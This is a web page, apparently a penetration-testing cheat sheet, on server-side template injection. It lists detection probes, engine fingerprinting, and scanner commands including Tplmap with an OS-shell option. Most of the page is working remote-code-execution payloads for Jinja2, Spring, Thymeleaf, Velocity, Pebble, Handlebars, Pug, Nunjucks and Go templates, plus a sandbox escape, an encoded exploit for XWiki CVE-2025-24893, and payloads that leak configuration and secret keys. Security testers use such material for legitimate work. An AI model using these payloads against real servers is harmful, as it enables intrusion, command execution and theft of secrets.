Skip to main content
Server-Side Template Injection (SSTI) occurs when user input is unsafely embedded into a template that is executed on the server, potentially leading to Remote Code Execution.

Detection

1

Fuzz the Template

Inject a sequence of special characters: ${{<%[%'"}}%\Observe server responses for errors or unexpected evaluation.
2

Distinguish from XSS

Test mathematical expressions:
  • {{7*7}}49 (template evaluated)
  • ${7*7}49 or ${7*7} (depends on engine)
  • <%= 7*7 %>49 (Ruby/ASP style)
3

Identify the Engine

Different engines use different syntax. Use this flowchart approach:
  • {{7*7}} → 49: Twig or Jinja2
  • {{7*'7'}}7777777: Jinja2
  • ${7*7} → 49: FreeMarker or Spring EL
  • <%= 7*7 %> → 49: ERB (Ruby)
  • @(2+2) → 4: Razor (.NET)

Automated Tools

# TInjA - SSTI + CSTI scanner
tinja url -u "http://example.com/?name=Kirlia" -H "Authorization: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"

# SSTImap
python3 sstimap.py -u "https://example.com/page?name=John" -s
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms

# Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell

Exploitation by Engine

# RCE not dependent on __builtins__
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}

# Config disclosure
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}

Java Template Engines

// Spring Framework
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

// Thymeleaf
${T(java.lang.Runtime).getRuntime().exec('calc')}

// Velocity
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())

// Pebble (new versions)
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}

NodeJS Template Engines

// Handlebars RCE
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

// PugJS
#{function(){localLoad=global.process.mainModule.constructor._load;
  sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

// NUNJUCKS
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}

// Node.js vm2 / isolated-vm sandbox escape
={{ (function() {
  const require = this.process.mainModule.require;
  const execSync = require("child_process").execSync;
  return execSync("id").toString();
})() }}

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 renders unauthenticated RSS search feeds through the Main.SolrSearch macro. Injecting }}} followed by {{groovy}} executes arbitrary Groovy in the JVM.
# Trigger SSTI
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

# Run OS commands
{{groovy}}println("id".execute().text){{/groovy}}

Go Template Injection

// Reveal data structure
{{ . }}

// Access Password field
{{ .Password }}

// Check engine
{{printf "%s" "ssti" }}

// RCE if object has exec method
{{ .System "ls" }}

Resources

Build docs developers (and LLMs) love